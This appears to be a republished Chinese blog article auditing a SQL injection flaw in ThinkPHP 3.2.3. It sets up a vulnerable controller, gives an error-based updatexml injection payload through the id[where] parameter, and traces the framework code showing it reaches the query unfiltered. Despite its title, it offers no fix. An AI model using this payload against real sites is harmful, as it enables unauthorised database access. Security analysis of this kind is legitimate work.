中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

thinkPHP3.2.3中sql注入漏洞問題怎么解決

發布時間:2022-04-12 10:14:41 來源:億速云 閱讀:807 作者:iii 欄目:編程語言

這篇文章主要介紹“thinkPHP3.2.3中sql注入漏洞問題怎么解決”的相關知識,小編通過實際案例向大家展示操作過程,操作方法簡單快捷,實用性強,希望這篇“thinkPHP3.2.3中sql注入漏洞問題怎么解決”文章能幫助大家解決問題。

thinkPHP3.2.3中sql注入漏洞問題怎么解決


前言

攻敵所必救:

  • ThinkPHP中的常用方法匯總總結:M方法,D方法,U方法,I方法

  • Thinkphp3.2.3 安全開發須知

搭建:

  1. 首先第一步就是必須先放在www目錄下(我是windows用的phpstudy)!!!!

  2. 創建數據庫,表名一定與你接下來要M的名字的相對應

  3. 連接數據庫的文件不多說了,自己配置:ThinkPHP/Conf/convention.php

  4. 配置控制器:\WWW\thinkphp3.2.3\Application\Home\Controller\IndexController.class.php

    <?phpnamespace Home\Controller;use Think\Controller;class IndexController extends Controller {
        public function index(){
            $this->show('原來內容已經省略,太占地方');
    		$data = M('user')->find(I('GET.id'));
    		var_dump($data);
    	}}
  5. 測試:

    thinkPHP3.2.3中sql注入漏洞問題怎么解決

正文

payload:

?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

確實報錯注入成功,一切都是因為這句代碼的存在:$data = M('user')->find(I('GET.id'));

I和M方法都沒有什么問題,真正的問題在于

  1. find 方法上,來自/ThinkPHP/Mode/Lite/Model.class.php

 public function find($options=array()) {   
        // 根據復合主鍵查找記錄
        $pk  =  $this->getPk();
        if (is_array($options) && (count($options) > 0) && is_array($pk)) {//但是會進入這里
            // 根據復合主鍵查詢
            $count = 0;
            foreach (array_keys($options) as $key) {
                if (is_int($key)) $count++; 
            } 
            if ($count == count($pk)) {
                $i = 0;
                foreach ($pk as $field) {
                    $where[$field] = $options[$i];
                    unset($options[$i++]);
                }
                $options['where']  =  $where;
            } else {
                return false;
            }
        }
        // 總是查找一條記錄
        $options['limit']   =   1;
        // 分析表達式
        $options            =   $this->_parseOptions($options);//前面都沒有什么影響,重點是這里的函數調用
     	$resultSet          =   $this->db->select($options);//重要的一步

2._parseOptions:因為主要針對options[where]所以無關代碼我全刪除了

/ThinkPHP/Library/Think/Model.class.php

protected function _parseOptions($options=array()) {
        if(is_array($options))
            $options =  array_merge($this->options,$options);
        // 字段類型驗證
        if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {//這里不滿足is_array($options['where'])
            // 對數組查詢條件進行字段類型檢查
            foreach ($options['where'] as $key=>$val){
                $key            =   trim($key);
                if(in_array($key,$fields,true)){
                    if(is_scalar($val)) {
                        $this->_parseType($options['where'],$key);
                    }
                }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
                    if(!empty($this->options['strict'])){
                        E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
                    } 
                    unset($options['where'][$key]);
                }
            }
        }
    //上面均沒用,到現在開始有用:?
        // 查詢過后清空sql表達式組裝 避免影響下次查詢
        $this->options  =   array();
        // 表達式過濾
        $this->_options_filter($options);//這里值得注意
        return $options;
    }

3._options_filter

到這就無了

thinkPHP3.2.3中sql注入漏洞問題怎么解決

而且上面的操作也會清零 $options,所以這里可能是進錯了

所以更正第二部的跟蹤,改為

2.select:/ThinkPHP/Library/Think/Db/Driver.class.php

public function select($options=array()) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $sql    = $this->buildSelectSql($options);
        $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
        return $result;
    }

3.buildSelectSql:地址同上

public function buildSelectSql($options=array()) {
        if(isset($options['page'])) {
            // 根據頁數計算limit
            list($page,$listRows)   =   $options['page'];
            $page    =  $page>0 ? $page : 1;
            $listRows=  $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
            $offset  =  $listRows*($page-1);
            $options['limit'] =  $offset.','.$listRows;
        }
        $sql  =   $this->parseSql($this->selectSql,$options);
        return $sql;
    }

4.parseSql:地址同上

public function parseSql($sql,$options=array()){
        $sql   = str_replace(
            array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
            array(
                $this->parseTable($options['table']),
                $this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
                $this->parseField(!empty($options['field'])?$options['field']:'*'),
                $this->parseJoin(!empty($options['join'])?$options['join']:''),
                $this->parseWhere(!empty($options['where'])?$options['where']:''),
                $this->parseGroup(!empty($options['group'])?$options['group']:''),
                $this->parseHaving(!empty($options['having'])?$options['having']:''),
                $this->parseOrder(!empty($options['order'])?$options['order']:''),
                $this->parseLimit(!empty($options['limit'])?$options['limit']:''),
                $this->parseUnion(!empty($options['union'])?$options['union']:''),
                $this->parseLock(isset($options['lock'])?$options['lock']:false),
                $this->parseComment(!empty($options['comment'])?$options['comment']:''),
                $this->parseForce(!empty($options['force'])?$options['force']:'')
            ),$sql);
        return $sql;
    }

5.parseWhere:同上

protected function parseWhere($where) {
        $whereStr = '';
        if(is_string($where)) {//直接滿足,直接進入
            // 直接使用字符串條件
            $whereStr = $where;
        }else{ // 使用數組表達式
        }
            return empty($whereStr)?'':' WHERE '.$whereStr;}

最后$sql=where 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

然后

$result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);return $result;

整個過程沒有任何過濾,seay分析thinkPHP太飛費勁了

PHPstorm斷點審計:

payload不變:

?id[where]=1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)%23

還是跟蹤find函數:

thinkPHP3.2.3中sql注入漏洞問題怎么解決

跟蹤到這里步入一下,繼續跟蹤,跟蹤到最后會跳出這個函數并且,值依然沒有改變,同時步入下一個函數

thinkPHP3.2.3中sql注入漏洞問題怎么解決

經核實,步入到了另一個函數中:

thinkPHP3.2.3中sql注入漏洞問題怎么解決

繼續跟蹤buildSelectSql:

thinkPHP3.2.3中sql注入漏洞問題怎么解決

繼續跟蹤parseSql:

thinkPHP3.2.3中sql注入漏洞問題怎么解決

最后的代碼變成了:

SELECT * FROM user WHERE 1 and 1=updatexml(1,concat(0x7e,user(),0x7e),1)# LIMIT 1
還是debug起來方便,基本不需要怎么動腦

關于“thinkPHP3.2.3中sql注入漏洞問題怎么解決”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識,可以關注億速云行業資訊頻道,小編每天都會為大家更新不同的知識點。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

孟村| 荔波县| 临夏县| 石渠县| 深圳市| 清远市| 龙海市| 昌乐县| 丽水市| 正安县| 嵊泗县| 蕉岭县| 临安市| 望城县| 石嘴山市| 讷河市| 晋宁县| 鹿泉市| 上栗县| 开阳县| 平塘县| 衡东县| 河间市| 阳高县| 镇康县| 五指山市| 白朗县| 佛山市| 五河县| 新河县| 黎平县| 华安县| 延长县| 兰西县| 紫金县| 大名县| 九寨沟县| 鄂托克旗| 黄冈市| 息烽县| 清镇市|